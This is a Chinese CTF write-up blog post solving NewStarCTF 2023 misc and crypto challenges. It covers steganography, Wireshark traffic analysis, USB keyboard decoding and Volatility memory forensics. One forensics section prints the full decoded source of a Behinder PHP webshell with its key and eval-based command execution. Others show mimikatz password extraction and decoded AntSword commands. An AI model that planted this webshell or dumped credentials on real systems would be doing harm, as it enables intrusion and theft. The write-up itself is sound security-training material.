newstarctf2023_misc

NewStarCTF_2023_MISC_WP

WEEK1

misc-CyberChef’s Secret

搜索标题,找到一个在线解密网站

直接梭哈

1
https://www.ddosi.org/

misc-空白格

1
2
由空格等不可见字符组成的隐写_部分
这里的不可见字符是由空格,制表符,回车组成的信息

White_space

white_space是一种编程语言

由“空格”,“回车”,“tab”组成

在线解码:Whitelips the Whitespace IDE (vii5ard.github.io)

将文本丢进去即可

misc-流量!鲨鱼!

wireshark分析

利用http.response.code==200过滤

在某条记录里面发现base64编码的数据,解码两次,即可得到flag

misc-机密图片

打开题目,是一张图片,图片是二维码

扫描二维码,并没有发现

尝试了好几种方法

1
2
3
1.binwalk分离,发现zlib文件,010查看,发现图片的文件尾,新建文件,加上文件头,还是查看不了
2.foremost分离,并没有分离出什么有用的东西
3.stegslove查看,但是也没看出什么

问了9c神

找到对应的图片,利用Analyse里的Data extract功能,即可获得flag

misc-压缩包们

本次misc最难一道了(个人感觉

首先得到一个没有后缀的文件

先用010一直看,看个不停,只发现了一串base64编码

解码得到一句话

1
I like six-digit numbers because they are very concise and easy to remember.

可知压缩包有6位数密码

由标题可知,是压缩包,将文件头改为50 4B 03 04

然后把flag.zip解压出来

把加密位改回去

然后ARCHPR爆破

得到密码,打开即可获得flag

crypto-brainfuck

brainfuck在线解密即可

crypto-Caesasr’s Secret

crypto-栅栏密码

解题网站:栅栏密码在线加密解密 - 千千秀字 (qqxiuzi.cn)

crypto-Vigenère

搜去年NewStarCTF week1的crypto wp,搜到相似的题目,发现密钥是kfc,找个网站解码,还真是

维吉尼亚密码在线加密解密 - 千千秀字 (qqxiuzi.cn)

Vigenere Solver | guballa.de

crypto-babyencoding

附上一个工具网站:

CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码 (hiencode.com)

第一个base64,第二个base32,第三个UUencode

前两个可以直接用cyber解码,最后一个用上面的网站即可

WEEK2

misc-新建空白文档

word隐藏+新与佛论禅解码

misc-永不消逝的电波

音频分析+摩斯解码

misc-base!

base64隐写

misc-jvav(学习)

java盲水印

misc-webshell(学习)

解码之后就不会了

看完wp,发现是get传system

post传cat /flag

WEEK3

misc-阳光开朗大男孩

两个文件,一个flag.txt,一个secret.txt

secret.txt是社会主义核心价值观编码

解码之后是this_password_is_s000_h4rd_p4sssw0rdddd,这部分是密码

然后emoji解码

解密网站:

emoji-aes (aghorler.github.io)

misc-大怨种

stegsolve丁帧

然后扫码

汉信码

misc-2-分析(学习)

这道题其实跟我的猜想一样,我好像记得我交过flag的?好像不对?算了

考点:HTTP流量分析、简单溯源

Flag由三个信息构成:登录用户名、存在漏洞的文件名、写入的WebShell文件名。

根据我们的常识,一般登录请求都是POST方式的请求,因此可以先过滤出所有的POST请求:

1
http && http.request.method == POST

其次是存在漏洞的文件名和WebShell文件名,可以看到有大量的目录扫描流量,先使用WireShark过滤器过滤掉响应状态码为404的响应:

1
http && http.response.code != 404

对剩下的流量进行分析,关注到1267号流量响应比较奇怪:

右键点击那个流量

溯源

于是找到index.php存在漏洞,并且写入了wh1t3g0d.php这个Shell,结束

misc-键盘侠(学习)

摘自官方wp:

打开题目发现是USB流量,结合题目名猜测是键盘流量,使用WireShark过滤器过滤出所有的键盘流量,然后导出保存为res.pcapng:

1
usb.src =="1.15.1"

使用tshark命令对流量数据进行提取并去除空行:

1
tshark -r res.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}

nums = []
keys = open('usbdata.txt')
for line in keys:
if len(line)!=17:
continue
nums.append(line[0:2]+line[4:6])
keys.close()
output = ""
for n in nums:   
if n[2:4] == "00" :       
continue   
if n[2:4] in normalKeys:       
if n[0:2]=="02":           
output += shiftKeys [n[2:4]]       
else :           
output += normalKeys [n[2:4]]
else:       
output += '[unknown]'
print('output :n' + output)

得到如下结果:

1
nw3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vvvvbaaaasffjjwwwwrrissgggjjaaasdddduuwwwwwwwwiiihhddddddgggjjjjjaa1112333888888<ESC><ESC>2hhxgbffffbbbnnat<CAP><CAP>ff<DEL>lll<DEL><DEL>aaa<DEL><DEL>gggg<DEL><DEL><DEL>{999<DEL><DEL>999<DEL><DEL>11<DEL>9aaa<DEL><DEL><SPACE><SPACE><DEL><DEL>eb2---<DEL><DEL>a450---<DEL><DEL>2f5f<SPACE><SPACE><SPACE><DEL><DEL><DEL>--<DEL>7bfc[unknown][unknown][unknown]-8989<DEL><DEL>dfdf<DEL><DEL>4bfa4bfa<DEL><DEL><DEL><DEL>85848584}}}<DEL><DEL><DEL><DEL><DEL><DEL><DEL>}]<SPACE><SPACE><SPACE><SPACE>nice<SPACE>work!1yyoou<SPACE>ggot<SPACE>tthhis<SPACE>fllag

表示删除,表示空格,根据这个按键顺序对数据进行处理后得到flag

misc-滴滴滴(学习)

一个音频,一张图片,听得出来是拨号音,但是没找到(

知识点:steghide隐写,DTMF

拨号音识别:

http://dialabc.com/sound/detect/index.html

结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:

1
steghide extract -sf secret.jpg -p 52563319066

WEEK4

misc-R通大残

RGB通道隐写

misc-依旧是空白

考点:snow隐写

给了图片,CRC报错,爆出正常高度和宽度,得到密码

结合给了密码,那么很可能就是snow隐写了,SNOW 隐写又被称为 HTML 隐写,通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,不同空格与制表位的组合代表不同的嵌入信息。

1
snow.exe -p s00_b4by_f0r_y0u -C White.txt

misc-Nmap

有用的知识:【精选】Nmap 中的各种端口扫描技术_namp扫描全端口_Bruce_Liuxiaowei的博客-CSDN博客

使用过滤器:

1
tcp.flags.syn == 1 and tcp.flags.ack == 1

其他过滤器:

1
udp

这个过滤条件可以筛选出UDP端口开放的数据包,该过滤条件会匹配所有的UDP数据包,因为UDP没有像TCP那样的连接建立过程,所以UDP数据包的到达通常表示端口是开放的。

1
icmp and icmp.type == 3 and icmp.code == 3

这个过滤条件用于查找被目标主机标记为”端口不可达”的数据包,通常表示端口关闭;

该过滤条件匹配了ICMP “端口不可达”类型的数据包,其中的 “code” 值为3表示端口关闭。

misc-第一次取证(学习)

查看信息

1
vol.py -f dycqz.raw imageinfo

查看内存进程列表:

1
vol.py -f dycqz.raw --profile=Win7SP1x64 pslist

查看notepad进程:

1
vol.py -f dycqz.raw --profile=Win7SP1x64 editbox

最后解密

misc-3-溯源

这道题目与week3的2-分析有衔接,顺着week3的那道题分析下去,

先找到与wh1t3g0d.php有关的并继续分析下去:

1
http.request.uri.path contains "wh1t3g0d.php"

发现写入了一个shell.php,继续跟一下shell.php:

1
http.request.uri contains "shell.php"

然后又发现调用file_put_contents写入了一个1.php文件,文件内容进行了base64编码,解码得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
@error_reporting(0);
session_start();   
$key="e45e329feb5d925b";    
$_SESSION['k']=$key;    
session_write_close();    
$post=file_get_contents("php://input");    
if(!extension_loaded('openssl')){        
$t="base64_"."decode";        
$post=$t($post."");                
for($i=0;$i<strlen($post);$i++) {                
$post[$i] = $post[$i]^$key[$i+1&15];                
}    
}
else{        
$post=openssl_decrypt($post, "AES128", $key);    
}   
$arr=explode('|',$post);   
$func=$arr[0];   
$params=$arr[1];    
class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);
?>

很明显的冰蝎Shell,发现后续的交互也主要是和1.php进行交互。

从这里可以得知key为e45e329feb5d925b,流量采用AES CBC 128加密,可以先把所有1.php的响应流量过滤出来:

1
http.response_for.uri contains "/1.php"

导出特定分组,把响应流量保存下来,响应流量解密可以在http://tools.bugscaner.com/cryptoaes/进行解密,可以看到冰蝎的响应流量是以json形式返回的,json的内容是base64编码的,

然后在导出的特定分组里面发现内容,尝试解密,最终发现用户名和内网地址

网上写得很好的一篇WP: NewStarCTF2023week4-溯源-CSDN博客

WEEK5

misc-新建Python文件

pyc剑龙隐写

工具,stegosaurus项目:https://github.com/AngelKitty/stegosaurus

misc-隐秘的图片

图片异或

misc-ezhard

磁盘取证

在linux系统下挂载磁盘,查看文件即可

新建一个文件夹,然后

1
mount 磁盘文件 新建目录/

失败的话建议sudo

misc-easymem

这道题感觉对新手还是难了点😭😭😭😭

flag第一部分在ctf用户的密码,需使用mimikatz插件读取

1
python2 vol.py -f *.raw --profile=Win7SP1x64 mimikatz

flag第二部分在桌面flag2.txt文件中,利用filescan扫描,然后dumpfiles下载,并读取

1
python2 vol.py -f *.raw --profile=Win7SP1x64 filescan
1
python2 vol.py -f *.raw --profile=Win7SP1x64 dumpfiles -Q 编号 -D ./

flag第三部分在画图进程中(mspaint.exe)

1
python2 vol.py -f *.raw --profile=Win7SP1x64 memdump -p 进程号 -D ./

然后gimp打开,raw的imge data,然后先调offset,感觉有点东西的时候调整宽度,直至有字符出现

misc-BabyAntSword

考点:蚁剑流量分析

PS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、中国菜刀
请求体中存在eval、base64等特征字符;
连接过程中使用base64编码对发送的指令进行加密;
还有一段以QG开头,7J结尾的固定代码。

2、蚁剑
默认的user-agent请求头是antsword XXX(不过可以修改)
一般将payload进行分段,分别进行base64编码;
一般具有像eval这样的关键字和@ini_set("display","0");这段代码。

3、冰蝎
PHP代码中可能存在eval、assert等关键词;
jsp代码中可能会有get class(),get class loader()等字符特征。

中国菜刀、蚁剑的攻击流量特征明显,容易被各类安全设备检测,而冰蝎是一款基于Java开发的动态加密通信流量的Webshell工具,由于通信流量被加密,传统的 WAFIDS 设备难以检测,冰蝎最大特点就是对交互流量进行对称加密(冰蝎密文采用对称加密算法AES加密,加密后还会进行 base64 编码),且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。 

首先,过滤出POST:

1
http.request.method == POST

然后发现一个上传文件的地方,复制,并010新建,解压可得到WebShell密码

接着分析其他报文

对于蚁剑响应流量的解密就是Base64解密即可,需要去掉响应首尾拼接的干扰字符。

对于蚁剑请求流量的分析需要删掉首部前两个字符,例如在tcp.stream eq 39的请求中我们提取出参数:

1
f6f75679ab3efc=AvY2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1

去掉前两位:

1
Y2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1

base64解码得到:

1
cd "/usr/local/tomcat";env;echo f5cd9;pwd;echo 0a25fbc1c5

追踪HTTP流,在response,可看到,同样去除干扰字符,base64解码即可拿到java版本

最后在其他报文作同样的分析,也可以拿到攻击者删除的文件内容。


newstarctf2023_misc
http://ikun604.github.io/2023/11/19/newstar2023-misc/
作者
yfz-ikun604
发布于
2023年11月19日
许可协议